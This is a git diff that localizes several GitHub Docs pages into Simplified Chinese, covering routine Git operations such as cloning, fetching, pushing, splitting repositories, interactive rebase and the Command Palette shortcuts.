+**提示**：如果以后创建仓库的全新克隆，不会为您创建您添加的远程 Url。 您需要再次使用 [the `git remote add` 命令添加它们](/github/getting-started-with-github/managing-remote-repositories)。
 
 {% endtip %}
 
-## Synchronizing with updates and changes
+## 同步更新和更改
 
-When a subproject is added, it is not automatically kept in sync with the upstream changes. You will need to update the subproject with the following command:
+添加子项目时，它不会自动与上游更改保持同步。 您需要使用以下命令更新子项目：
 
 ```shell
 $ git pull -s subtree <em>remotename</em> <em>branchname</em>
 ```
 
-For the example above, this would be:
+对于上述示例，将是：
 
 ```shell
 $ git pull -s subtree spoon-knife main
 ```
 
-## Further reading
+## 延伸阅读
 
-- [The "Advanced Merging" chapter from the _Pro Git_ book](https://git-scm.com/book/en/v2/Git-Tools-Advanced-Merging)
-- "[How to use the subtree merge strategy](https://www.kernel.org/pub/software/scm/git/docs/howto/using-merge-subtree.html)"
+- [_Pro Git_ 书籍中的“高级合并”一章](https://git-scm.com/book/en/v2/Git-Tools-Advanced-Merging)
+- "[如何使用子树合并策略](https://www.kernel.org/pub/software/scm/git/docs/howto/using-merge-subtree.html)"
diff --git a/translations/zh-CN/content/get-started/using-git/about-git.md b/translations/zh-CN/content/get-started/using-git/about-git.md
index f94c074ced..8c86c9caac 100644
--- a/translations/zh-CN/content/get-started/using-git/about-git.md
+++ b/translations/zh-CN/content/get-started/using-git/about-git.md
@@ -34,7 +34,7 @@ In a distributed version control system, every developer has a full copy of the
 
 - Businesses using Git can break down communication barriers between teams and keep them focused on doing their best work. Plus, Git makes it possible to align experts across a business to collaborate on major projects.
 
-## About repositories
+## 关于仓库
 
 A repository, or Git project, encompasses the entire collection of files and folders associated with a project, along with each file's revision history. The file history appears as snapshots in time called commits. The commits can be organized into multiple lines of development called branches. Because Git is a DVCS, repositories are self-contained units and anyone who has a copy of the repository can access the entire codebase and its history. Using the command line or other ease-of-use interfaces, a Git repository also allows for: interaction with the history, cloning the repository, creating branches, committing, merging, comparing changes across versions of code, and more.
 
@@ -164,7 +164,7 @@ With a shared repository, individuals and teams are explicitly designated as con
 
 For an open source project, or for projects to which anyone can contribute, managing individual permissions can be challenging, but a fork and pull model allows anyone who can view the project to contribute. A fork is a copy of a project under a developer's personal account. Every developer has full control of their fork and is free to implement a fix or a new feature. Work completed in forks is either kept separate, or is surfaced back to the original project via a pull request. There, maintainers can review the suggested changes before they're merged. For more information, see "[Contributing to projects](/get-started/quickstart/contributing-to-projects)."
 
-## Further reading
+## 延伸阅读
 
 The {% data variables.product.product_name %} team has created a library of educational videos and guides to help users continue to develop their skills and build better software.
 
diff --git a/translations/zh-CN/content/get-started/using-git/getting-changes-from-a-remote-repository.md b/translations/zh-CN/content/get-started/using-git/getting-changes-from-a-remote-repository.md
index 63fa47a4cd..430ace9156 100644
--- a/translations/zh-CN/content/get-started/using-git/getting-changes-from-a-remote-repository.md
+++ b/translations/zh-CN/content/get-started/using-git/getting-changes-from-a-remote-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Getting changes from a remote repository
-intro: You can use common Git commands to access remote repositories.
+title: 从远程仓库获取更改
+intro: 您可以使用常用 Git 命令访问远程仓库。
 redirect_from:
   - /articles/fetching-a-remote
   - /articles/getting-changes-from-a-remote-repository
@@ -12,76 +12,71 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Get changes from a remote
+shortTitle: 从远程获取更改
 ---
-## Options for getting changes
 
-These commands are very useful when interacting with [a remote repository](/github/getting-started-with-github/about-remote-repositories). `clone` and `fetch` download remote code from a repository's remote URL to your local computer, `merge` is used to merge different people's work together with yours, and `pull` is a combination of `fetch` and `merge`.
+## 获取更改的选项
 
-## Cloning a repository
+与[远程仓库](/github/getting-started-with-github/about-remote-repositories)交互时，这些命令非常有用。 `clone` 和 `fetch` 用于从仓库的远程 URL 将远程代码下载到您的本地计算机，`merge` 用于将其他人的工作与您的工作合并在一起，而 `pull` 是 `fetch` 和 `merge` 的组合。
 
-To grab a complete copy of another user's repository, use `git clone` like this:
+## 克隆仓库
+
+要获取其他用户仓库的完整副本，请使用 `git clone`，如下所示：
 
 ```shell
 $ git clone https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>REPOSITORY</em>.git
-# Clones a repository to your computer
+# 将仓库克隆到您的计算机
 ```
 
-You can choose from [several different URLs](/github/getting-started-with-github/about-remote-repositories) when cloning a repository. While logged in to {% data variables.product.prodname_dotcom %}, these URLs are available below the repository details:
+克隆仓库时，有[几个不同的 URL](/github/getting-started-with-github/about-remote-repositories)可供选择。 登录到 {% data variables.product.prodname_dotcom %} 后，可在仓库详细信息下面找到这些 URL：
 
-![Remote URL list](/assets/images/help/repository/remotes-url.png)
+![远程 URL 列表](/assets/images/help/repository/remotes-url.png)
 
-When you run `git clone`, the following actions occur:
-- A new folder called `repo` is made
-- It is initialized as a Git repository
-- A remote named `origin` is created, pointing to the URL you cloned from
-- All of the repository's files and commits are downloaded there
-- The default branch is checked out
+运行 `git clone` 时，将发生以下操作：
+- 创建名为 `repo` 的文件夹
+- 将它初始化为 Git 仓库
+- 创建名为 `origin` 的远程仓库，指向用于克隆的 URL
+- 将所有的仓库文件和提交下载到那里
+- 默认分支已检出
 
-For every branch `foo` in the remote repository, a corresponding remote-tracking branch
-`refs/remotes/origin/foo` is created in your local repository. You can usually abbreviate
-such remote-tracking branch names to `origin/foo`.
+对于远程仓库中的每个 `foo` 分支，在本地仓库中创建相应的远程跟踪分支 `refs/remotes/origin/foo`。 通常可以将此类远程跟踪分支名称缩写为 `origin/foo`。
 
-## Fetching changes from a remote repository
+## 从远程仓库获取更改
 
-Use `git fetch` to retrieve new work done by other people. Fetching from a repository grabs all the new remote-tracking branches and tags *without* merging those changes into your own branches.
+使用 `git fetch` 可检索其他人完成的新工作。 从仓库获取将会获取所有新的远程跟踪分支和标记，但*不会*将这些更改合并到您自己的分支中。
 
-If you already have a local repository with a remote URL set up for the desired project, you can grab all the new information by using `git fetch *remotename*` in the terminal:
+如果已经有一个本地仓库包含为所需项目设置的远程 URL，您可以在终端使用 `git fetch *remotename*` 获取所有新信息：
 
 ```shell
 $ git fetch <em>remotename</em>
-# Fetches updates made to a remote repository
+# 获取远程仓库的更新
 ```
 
-Otherwise, you can always add a new remote and then fetch. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
+否则，您可以随时添加新的远程，然后获取。 更多信息请参阅“[管理远程仓库](/github/getting-started-with-github/managing-remote-repositories)”。
 
-## Merging changes into your local branch
+## 合并更改到本地分支
 
-Merging combines your local changes with changes made by others.
+合并可将您的本地更改与其他人所做的更改组合起来。
 
-Typically, you'd merge a remote-tracking branch (i.e., a branch fetched from a remote repository) with your local branch:
+通常将远程跟踪分支（即从远程仓库获取的分支）与您的本地分支进行合并：
 
 ```shell
 $ git merge <em>remotename</em>/<em>branchname</em>
-# Merges updates made online with your local work
+# 将在线更新与您的本地工作进行合并
 ```
 
-## Pulling changes from a remote repository
+## 从远程仓库拉取更改
 
-`git pull` is a convenient shortcut for completing both `git fetch` and `git merge `in the same command:
+`git pull` 是在同一个命令中完成 `git fetch` 和 `git merge` 的便捷方式。
 
 ```shell
 $ git pull <em>remotename</em> <em>branchname</em>
-# Grabs online updates and merges them with your local work
+# 获取在线更新并将其与您的本地工作进行合并
 ```
 
-Because `pull` performs a merge on the retrieved changes, you should ensure that
-your local work is committed before running the `pull` command. If you run into
-[a merge conflict](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line)
-you cannot resolve, or if you decide to quit the merge, you can use `git merge --abort`
-to take the branch back to where it was in before you pulled.
+由于 `pull` 会对检索到的更改执行合并，因此应确保在运行 `pull` 命令之前提交您的本地工作。 如果您遇到无法解决的[合并冲突](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line)，或者您决定退出合并，可使用 `git merge --abort` 将分支恢复到您拉取之前的状态。
 
-## Further reading
+## 延伸阅读
 
-- ["Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)"{% ifversion fpt or ghec %}
-- "[Troubleshooting connectivity problems](/articles/troubleshooting-connectivity-problems)"{% endif %}
+- _Pro Git_ 手册中的[“使用远程仓库”](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes){% ifversion fpt or ghec %}
+- “[连接问题故障排除](/articles/troubleshooting-connectivity-problems)”{% endif %}
diff --git a/translations/zh-CN/content/get-started/using-git/index.md b/translations/zh-CN/content/get-started/using-git/index.md
index d0382733d1..488c7fd1c5 100644
--- a/translations/zh-CN/content/get-started/using-git/index.md
+++ b/translations/zh-CN/content/get-started/using-git/index.md
@@ -1,6 +1,6 @@
 ---
-title: Using Git
-intro: 'Use Git to manage your {% data variables.product.product_name %} repositories from your computer.'
+title: 使用 Git
+intro: '使用 Git 从计算机管理您的 {% data variables.product.product_name %} 仓库。'
 redirect_from:
   - /articles/using-common-git-commands
   - /github/using-git/using-common-git-commands
diff --git a/translations/zh-CN/content/get-started/using-git/pushing-commits-to-a-remote-repository.md b/translations/zh-CN/content/get-started/using-git/pushing-commits-to-a-remote-repository.md
index b5c8c33262..c28e77a905 100644
--- a/translations/zh-CN/content/get-started/using-git/pushing-commits-to-a-remote-repository.md
+++ b/translations/zh-CN/content/get-started/using-git/pushing-commits-to-a-remote-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Pushing commits to a remote repository
-intro: Use `git push` to push commits made on your local branch to a remote repository.
+title: 推送提交到远程仓库
+intro: 使用 `git push` 将本地分支上的提交推送到远程仓库。
 redirect_from:
   - /articles/pushing-to-a-remote
   - /articles/pushing-commits-to-a-remote-repository
@@ -12,87 +12,76 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Push commits to a remote
+shortTitle: 推送提交到远程
 ---
+
 ## About `git push`
-The `git push` command takes two arguments:
+`git push` 命令使用两个参数：
 
-* A remote name, for example, `origin`
-* A branch name, for example, `main`
+* 远程命令，如 `origin`
+* 分支名称，如 `main`
 
-For example:
+例如：
 
 ```shell
 git push <em> &lt;REMOTENAME> &lt;BRANCHNAME> </em>
 ```
 
-As an example, you usually run `git push origin main` to push your local changes
-to your online repository.
+例如，您通常运行 `git push origin main` 来推送本地更改到在线仓库。
 
-## Renaming branches
+## 重命名分支
 
-To rename a branch, you'd use the same `git push` command, but you would add
-one more argument: the name of the new branch. For example:
+要重命名分支，同样使用 `git push` 命令，但要加上一个或多个参数：新分支的名称。 例如：
 
 ```shell
 git push <em> &lt;REMOTENAME> &lt;LOCALBRANCHNAME></em>:<em>&lt;REMOTEBRANCHNAME> </em>
 ```
 
-This pushes the `LOCALBRANCHNAME` to your `REMOTENAME`, but it is renamed to `REMOTEBRANCHNAME`.
+这会将 `LOCALBRANCHNAME` 推送到 `REMOTENAME`，但其名称将改为 `REMOTEBRANCHNAME`。
 
-## Dealing with "non-fast-forward" errors
+## 处理“非快进”错误
 
-If your local copy of a repository is out of sync with, or "behind," the upstream
-repository you're pushing to, you'll get a message saying `non-fast-forward updates were rejected`.
-This means that you must retrieve, or "fetch," the upstream changes, before
-you are able to push your local changes.
+如果仓库的本地副本未同步或“落后于”您推送到的上游分支，您会收到一条消息表示：`non-fast-forward updates were rejected`。 这意味着您必须检索或“提取”上游更改，然后才可推送本地更改。
 
-For more information on this error, see "[Dealing with non-fast-forward errors](/github/getting-started-with-github/dealing-with-non-fast-forward-errors)."
+有关此错误的更多信息，请参阅“[处理非快进错误](/github/getting-started-with-github/dealing-with-non-fast-forward-errors)”。
 
-## Pushing tags
+## 推送标记
 
-By default, and without additional parameters, `git push` sends all matching branches
-that have the same names as remote branches.
+默认情况下，没有其他参数时，`git push` 会发送所有名称与远程分支相同的匹配分支。
 
-To push a single tag, you can issue the same command as pushing a branch:
+要推送单一标记，可以发出与推送分支相同的命令：
 
 ```shell
 git push <em> &lt;REMOTENAME> &lt;TAGNAME> </em>
 ```
 
-To push all your tags, you can type the command:
+要推送所有标记，可以输入命令：
 
 ```shell
 git push <em> &lt;REMOTENAME></em> --tags
 ```
 
-## Deleting a remote branch or tag
+## 删除远程分支或标记
 
-The syntax to delete a branch is a bit arcane at first glance:
+删除分支的语法初看有点神秘：
 
 ```shell
 git push <em> &lt;REMOTENAME></em> :<em>&lt;BRANCHNAME> </em>
 ```
 
-Note that there is a space before the colon. The command resembles the same steps
-you'd take to rename a branch. However, here, you're telling Git to push _nothing_
-into `BRANCHNAME` on `REMOTENAME`. Because of this, `git push` deletes the branch
-on the remote repository.
+请注意，冒号前有一个空格。 命令与重命名分支的步骤类似。 但这里是告诉 Git _不要_推送任何内容到 `REMOTENAME` 上的 `BRANCHNAME`。 因此，`git push` 会删除远程仓库上的分支。
 
-## Remotes and forks
+## 远程和复刻
 
-You might already know that [you can "fork" repositories](https://guides.github.com/overviews/forking/) on GitHub.
+您可能已经知道，[您可以对 GitHub 上的仓库“复刻”](https://guides.github.com/overviews/forking/)。
 
-When you clone a repository you own, you provide it with a remote URL that tells
-Git where to fetch and push updates. If you want to collaborate with the original
-repository, you'd add a new remote URL, typically called `upstream`, to
-your local Git clone:
+在克隆您拥有的仓库时，向其提供远程 URL，告知 Git 到何处提取和推送更新。 如果要协作处理原始仓库，可添加新的远程 URL（通常称为 `upstream`）到本地 Git 克隆：
 
 ```shell
 git remote add upstream <em> &lt;THEIR_REMOTE_URL> </em>
 ```
 
-Now, you can fetch updates and branches from *their* fork:
+现在可以从*其*复刻提取更新和分支：
 
 ```shell
 git fetch upstream
@@ -105,15 +94,14 @@ git fetch upstream
 >  * [new branch]      main     -> upstream/main
 ```
 
-When you're done making local changes, you can push your local branch to GitHub
-and [initiate a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests).
+在完成本地更改后，可以推送本地分支到 GitHub 并[发起拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)。
 
-For more information on working with forks, see "[Syncing a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork)".
+有关使用复刻的更多信息，请参阅“[同步复刻](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork)”。
 
-## Further reading
+## 延伸阅读
 
-- [The "Remotes" chapter from the "Pro Git" book](https://git-scm.com/book/ch5-2.html)
+- ["Pro Git" 书中的“远程”一章](https://git-scm.com/book/ch5-2.html)
 - [`git remote` main page](https://git-scm.com/docs/git-remote.html)
-- "[Git cheatsheet](/articles/git-cheatsheet)"
-- "[Git workflows](/github/getting-started-with-github/git-workflows)"
-- "[Git Handbook](https://guides.github.com/introduction/git-handbook/)"
+- "[Git 小抄](/articles/git-cheatsheet)"
+- "[Git 工作流程](/github/getting-started-with-github/git-workflows)"
+- "[Git 手册](https://guides.github.com/introduction/git-handbook/)"
diff --git a/translations/zh-CN/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md b/translations/zh-CN/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md
index 49eef30c38..0209f9d2cf 100644
--- a/translations/zh-CN/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md
+++ b/translations/zh-CN/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md
@@ -1,31 +1,32 @@
 ---
-title: Splitting a subfolder out into a new repository
+title: 将子文件夹拆分成新仓库
 redirect_from:
   - /articles/splitting-a-subpath-out-into-a-new-repository
   - /articles/splitting-a-subfolder-out-into-a-new-repository
   - /github/using-git/splitting-a-subfolder-out-into-a-new-repository
   - /github/getting-started-with-github/splitting-a-subfolder-out-into-a-new-repository
   - /github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository
-intro: You can turn a folder within a Git repository into a brand new repository.
+intro: 您可以将 Git 仓库内的文件夹变为全新的仓库。
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Splitting a subfolder
+shortTitle: 拆分子文件夹
 ---
-If you create a new clone of the repository, you won't lose any of your Git history or changes when you split a folder into a separate repository.
+
+如果您创建仓库的新克隆副本，则将文件夹拆分为单独的仓库时不会丢失任何 Git 历史记录或更改。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 
-2. Change the current working directory to the location where you want to create your new repository.
+2. 将当前工作目录更改为您要创建新仓库的位置。
 
-4. Clone the repository that contains the subfolder.
+4. 克隆包含该子文件夹的仓库。
    ```shell
    $ git clone https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>REPOSITORY-NAME</em>
    ```
 
-4. Change the current working directory to your cloned repository.
+4. 将当前工作目录更改为您克隆的仓库。
    ```shell
    $ cd <em>REPOSITORY-NAME</em>
    ```
@@ -37,46 +38,46 @@ If you create a new clone of the repository, you won't lose any of your Git hist
 
    {% tip %}
 
-   **Tip:** Windows users should use `/` to delimit folders.
+   **提示：**Windows 用户应使用 `/` 来分隔文件夹。
 
    {% endtip %}
 
    {% endwindows %}
-  
+
    ```shell
    $ git filter-repo --path FOLDER-NAME1/ --path FOLDER-NAME2/
    # Filter the specified branch in your directory and remove empty commits
    > Rewrite 48dc599c80e20527ed902928085e7861e6b3cbe6 (89/89)
    > Ref 'refs/heads/<em>BRANCH-NAME</em>' was rewritten
    ```
-   
+
    The repository should now only contain the files that were in your subfolder(s).
 
-6. [Create a new repository](/articles/creating-a-new-repository/) on {% data variables.product.product_name %}.
+6. 在 {% data variables.product.product_name %} 上[创建新仓库](/articles/creating-a-new-repository/)。
 
 7. At the top of your new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL.
-	
-   ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
+
+   ![创建远程仓库 URL 字段](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
 
    {% tip %}
 
-   **Tip:** For information on the difference between HTTPS and SSH URLs, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)."
+   **提示：** 有关 HTTPS 与 SSH URL 之间的差异，请参阅“[关于远程仓库](/github/getting-started-with-github/about-remote-repositories)”
 
    {% endtip %}
 
-8. Check the existing remote name for your repository. For example, `origin` or `upstream` are two common choices.
+8. 检查仓库现有的远程名称。 例如，`源仓库`或`上游仓库`是两种常见选择。
    ```shell
    $ git remote -v
    > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY-NAME</em>.git (fetch)
    > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/REPOSITORY-NAME</em>.git (push)
    ```
 
-9. Set up a new remote URL for your new repository using the existing remote name and the remote repository URL you copied in step 7.
+9. 使用现有的远程名称和您在步骤 7 中复制的远程仓库 URL 为新仓库设置新的远程 URL。
    ```shell
    git remote set-url origin https://{% data variables.command_line.codeblock %}/<em>USERNAME/NEW-REPOSITORY-NAME</em>.git
    ```
 
-10. Verify that the remote URL has changed with your new repository name.
+10. 使用新仓库名称验证远程 URL 是否已更改。
     ```shell
     $ git remote -v
     # Verify new remote URL
@@ -84,7 +85,7 @@ If you create a new clone of the repository, you won't lose any of your Git hist
     > origin  https://{% data variables.command_line.codeblock %}/<em>USERNAME/NEW-REPOSITORY-NAME</em>.git (push)
     ```
 
-11. Push your changes to the new repository on {% data variables.product.product_name %}.
+11. 将您的更改推送到 {% data variables.product.product_name %} 上的新仓库。
     ```shell
     git push -u origin <em>BRANCH-NAME</em>
     ```
diff --git a/translations/zh-CN/content/get-started/using-git/using-git-rebase-on-the-command-line.md b/translations/zh-CN/content/get-started/using-git/using-git-rebase-on-the-command-line.md
index 95a87525e4..652db217bf 100644
--- a/translations/zh-CN/content/get-started/using-git/using-git-rebase-on-the-command-line.md
+++ b/translations/zh-CN/content/get-started/using-git/using-git-rebase-on-the-command-line.md
@@ -1,24 +1,25 @@
 ---
-title: Using Git rebase on the command line
+title: 在命令行中使用 Git rebase
 redirect_from:
   - /articles/using-git-rebase
   - /articles/using-git-rebase-on-the-command-line
   - /github/using-git/using-git-rebase-on-the-command-line
   - /github/getting-started-with-github/using-git-rebase-on-the-command-line
   - /github/getting-started-with-github/using-git/using-git-rebase-on-the-command-line
-intro: Here's a short tutorial on using `git rebase` on the command line.
+intro: 以下是在命令行中使用 `git rebase` 的简短教程。
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Git rebase
+shortTitle: Git 变基
 ---
-## Using Git rebase
 
-In this example, we will cover all of the `git rebase` commands available, except for `exec`.
+## 使用 Git 变基
 
-We'll start our rebase by entering `git rebase --interactive HEAD~7` on the terminal. Our favorite text editor will display the following lines:
+在本例中，我们将涵盖所有可用的 `git rebase` 命令，`exec` 除外。
+
+我们将通过在终端上输入 `git rebase --interactive HEAD~7` 开始变基。 首选的文本编辑器将显示以下行：
 
 ```
 pick 1fc6c95 Patch A
@@ -30,17 +31,17 @@ pick 4ca2acc i cant' typ goods
 pick 7b36971 something to move before patch B
 ```
 
-In this example, we're going to:
+在本例中，我们将：
 
-* Squash the fifth commit (`fa39187`) into the `"Patch A"` commit (`1fc6c95`), using `squash`.
-* Move the last commit (`7b36971`) up before the `"Patch B"` commit (`6b2481b`), and keep it as `pick`.
-* Merge the `"A fix for Patch B"` commit (`c619268`) into the `"Patch B"` commit (`6b2481b`), and disregard the commit message using `fixup`.
-* Split the third commit (`dd1475d`) into two smaller commits, using `edit`.
-* Fix the commit message of the misspelled commit (`4ca2acc`), using `reword`.
+* 使用 `squash` 将第五个提交 (`fa39187`) 压缩到 `"Patch A"` 提交 (`1fc6c95`) 中。
+* 将最后一个提交 (`7b36971`) 向上移动到 `"Patch B"` 提交 (`6b2481b`) 之前，并将其保留为 `pick`。
+* 将 `"A fix for Patch B"` 提交 (`c619268`) 合并到 `"Patch B"` 提交 (`6b2481b`) 中，并使用 `fixup` 忽略提交消息。
+* 使用 `edit` 将第三个提交 (`dd1475d`) 拆分成两个较小的提交。
+* 使用 `reword` 修复拼写错误的提交 (`4ca2acc`) 的提交消息。
 
-Phew! This sounds like a lot of work, but by taking it one step at a time, we can easily make those changes.
+唷！ 这听起来像是有好多工作，但一步一步来，我们可以轻松地进行这些更改。
 
-To start, we'll need to modify the commands in the file to look like this:
+首先，我们需要修改文件中的命令，如下所示：
 
 ```
 pick 1fc6c95 Patch A
@@ -52,35 +53,35 @@ edit dd1475d something I want to split
 reword 4ca2acc i cant' typ goods
 ```
 
-We've changed each line's command from `pick` to the command we're interested in.
+我们将每行的命令从 `pick` 更改为我们感兴趣的命令。
 
-Now, save and close the editor; this will start the interactive rebase.
+现在，保存并关闭编辑器，这将开始交互式变基。
 
-Git skips the first rebase command, `pick 1fc6c95`, since it doesn't need to do anything. It goes to the next command, `squash fa39187`. Since this operation requires your input, Git opens your text editor once again. The file it opens up looks something like this:
+Git 跳过第一条变基命令 `pick 1fc6c95`，因为该命令无需任何操作。 它转到下一条命令 `squash fa39187`。 由于此操作需要您的输入，因此 Git 再次打开您的文本编辑器。 其打开的文件类似如下：
 
 ```
-# This is a combination of two commits.
-# The first commit's message is:
+# 这是两个提交的组合。
+# 第一个提交的消息是：
 
 Patch A
 
-# This is the 2nd commit message:
+# 这是第二个提交消息：
 
 something to add to patch A
 
-# Please enter the commit message for your changes. Lines starting
-# with '#' will be ignored, and an empty message aborts the commit.
-# Not currently on any branch.
-# Changes to be committed:
-#   (use "git reset HEAD <file>..." to unstage)
+# 请输入您的更改的提交消息。 开头
+# 为 '#' 的行将被忽略，并且空消息会中止提交。
+# 当前不在任何分支中。
+# 要进行提交的更改：
+#   （使用 "git reset HEAD <file>..." 取消暂存）
 #
-# modified:   a
+# 已修改：a
 #
 ```
 
-This file is Git's way of saying, "Hey, here's what I'm about to do with this `squash`." It lists the first commit's message (`"Patch A"`), and the second commit's message (`"something to add to patch A"`). If you're happy with these commit messages, you can save the file, and close the editor. Otherwise, you have the option of changing the commit message by simply changing the text.
+此文件是用 Git 的方式表明“嗨，这就是我要使用这条 `squash` 完成的操作”。 它列出了第一个提交的消息 (`"Patch A"`) 和第二个提交的消息 (`"something to add to patch A"`)。 如果对这些提交消息感到满意，您可以保存该文件，然后关闭编辑器。 否则，您可选择更改提交消息，只需更改文本即可。
 
-When the editor is closed, the rebase continues:
+编辑器关闭后，变基继续：
 
 ```
 pick 1fc6c95 Patch A
@@ -92,9 +93,9 @@ edit dd1475d something I want to split
 reword 4ca2acc i cant' typ goods
 ```
 
-Git processes the two `pick` commands (for `pick 7b36971` and `pick 6b2481b`). It *also* processes the `fixup` command (`fixup c619268`), since it doesn't require any interaction. `fixup` merges the changes from `c619268` into the commit before it, `6b2481b`. Both changes will have the same commit message: `"Patch B"`.
+Git 会处理两条 `pick` 命令（针对 `pick 7b36971` 和 `pick 6b2481b`）。 它*还*会处理 `fixup` 命令 (`fixup c619268`)，因为该命令不需要任何交互。 `fixup` 会将来自 `c619268` 的更改合并到其之前的提交 `6b2481b` 中。 这些更改都有相同的提交消息：`"Patch B"`。
 
-Git gets to the `edit dd1475d` operation, stops, and prints the following message to the terminal:
+Git 开始 `edit dd1475d` 操作，停止，然后将以下消息打印到终端：
 
 ```shell
 You can amend the commit now, with
@@ -106,28 +107,28 @@ Once you are satisfied with your changes, run
         git rebase --continue
 ```
 
-At this point, you can edit any of the files in your project to make any additional changes. For each change you make, you'll need to perform a new commit, and you can do that by entering the `git commit --amend` command. When you're finished making all your changes, you can run `git rebase --continue`.
+此时，您可以编辑项目中的任何文件以进行任何额外的更改。 对于您进行的每个更改，您都需要通过输入 `git commit --amend` 命令执行新提交。 完成所有更改后，您可以运行 `git rebase --continue`。
 
-Git then gets to the `reword 4ca2acc` command.  It opens up your text editor one more time, and presents the following information:
+Git 随后开始执行 `reword 4ca2acc` 命令。  它会再次打开您的文本编辑器，并显示以下信息：
 
 ```
 i cant' typ goods
 
-# Please enter the commit message for your changes. Lines starting
-# with '#' will be ignored, and an empty message aborts the commit.
-# Not currently on any branch.
-# Changes to be committed:
-#   (use "git reset HEAD^1 <file>..." to unstage)
+# 请输入您的更改的提交消息。 开头
+# 为 '#' 的行将被忽略，并且空消息会中止提交。
+# 当前不在任何分支中。
+# 要进行提交的更改：
+#   （使用 "git reset HEAD^1 <file>..." 取消暂存）
 #
-# modified:   a
+# 已修改：a
 #
 ```
 
-As before, Git is showing the commit message for you to edit. You can change the text (`"i cant' typ goods"`), save the file, and close the editor. Git will finish the rebase and return you to the terminal.
+和以前一样，Git 显示提交消息供您进行编辑。 您可以更改文本 (`"i cant' typ goods"`)，保存该文件，然后关闭编辑器。 Git 将完成变基并将您返回终端。
 
-## Pushing rebased code to GitHub
+## 将变基的代码推送到 GitHub
 
-Since you've altered Git history, the usual `git push origin` **will not** work. You'll need to modify the command by "force-pushing" your latest changes:
+由于您已更改 Git 历史记录，因此通常的 `git push origin` **不起**作用。 您需要通过“强制推送”最新更改来修改命令：
 
 ```shell
 # Don't override changes
@@ -139,10 +140,10 @@ $ git push origin main --force
 
 {% warning %}
 
-Force pushing has serious implications because it changes the historical sequence of commits for the branch. Use it with caution, especially if your repository is being accessed by multiple people.
+强制推送具有严重的影响，因为它会更改分支提交的历史顺序。 请谨慎使用，尤其是您的仓库被多人访问时。
 
 {% endwarning %}
 
-## Further reading
+## 延伸阅读
 
-* "[Resolving merge conflicts after a Git rebase](/github/getting-started-with-github/resolving-merge-conflicts-after-a-git-rebase)"
+* “[解决 Git 变基后的合并冲突](/github/getting-started-with-github/resolving-merge-conflicts-after-a-git-rebase)”
diff --git a/translations/zh-CN/content/get-started/using-github/github-command-palette.md b/translations/zh-CN/content/get-started/using-github/github-command-palette.md
index 8c60a52fb9..66afeace32 100644
--- a/translations/zh-CN/content/get-started/using-github/github-command-palette.md
+++ b/translations/zh-CN/content/get-started/using-github/github-command-palette.md
@@ -2,8 +2,6 @@
 title: GitHub Command Palette
 intro: 'Use the command palette in {% data variables.product.product_name %} to navigate, search, and run commands directly from your keyboard.'
 versions:
-  fpt: '*'
-  ghec: '*'
   feature: command-palette
 shortTitle: GitHub Command Palette
 ---
@@ -29,8 +27,8 @@ The ability to run commands directly from your keyboard, without navigating thro
 ## Opening the {% data variables.product.prodname_command_palette %}
 
 Open the command palette using one of the following keyboard shortcuts:
-- Windows and Linux: <kbd>Ctrl</kbd><kbd>k</kbd> or <kbd>Ctrl</kbd><kbd>alt</kbd><kbd>k</kbd>
-- Mac: <kbd>⌘</kbd><kbd>k</kbd> or <kbd>⌘</kbd><kbd>option</kbd><kbd>k</kbd>
+- Windows and Linux: <kbd>Ctrl</kbd>+<kbd>K</kbd> or <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>K</kbd>
+- Mac: <kbd>Command</kbd>+<kbd>K</kbd> or <kbd>Command</kbd>+<kbd>Option</kbd>+<kbd>K</kbd>
 
 When you open the command palette, it shows your location at the top left and uses it as the scope for suggestions (for example, the `mashed-avocado` organization).
 
@@ -39,7 +37,7 @@ When you open the command palette, it shows your location at the top left and us
 {% note %}
 
 **注意：**
-- If you are editing Markdown text, open the command palette with <kbd>Ctrl</kbd><kbd>alt</kbd><kbd>k</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>option</kbd><kbd>k</kbd> (Mac).
+- If you are editing Markdown text, open the command palette with <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>K</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Option</kbd>+<kbd>K</kbd> (Mac).
 - If you are working on a project (beta), a project-specific command palette is displayed instead. 更多信息请参阅“[自定义项目（测试版）视图](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)”。
 
 {% endnote %}
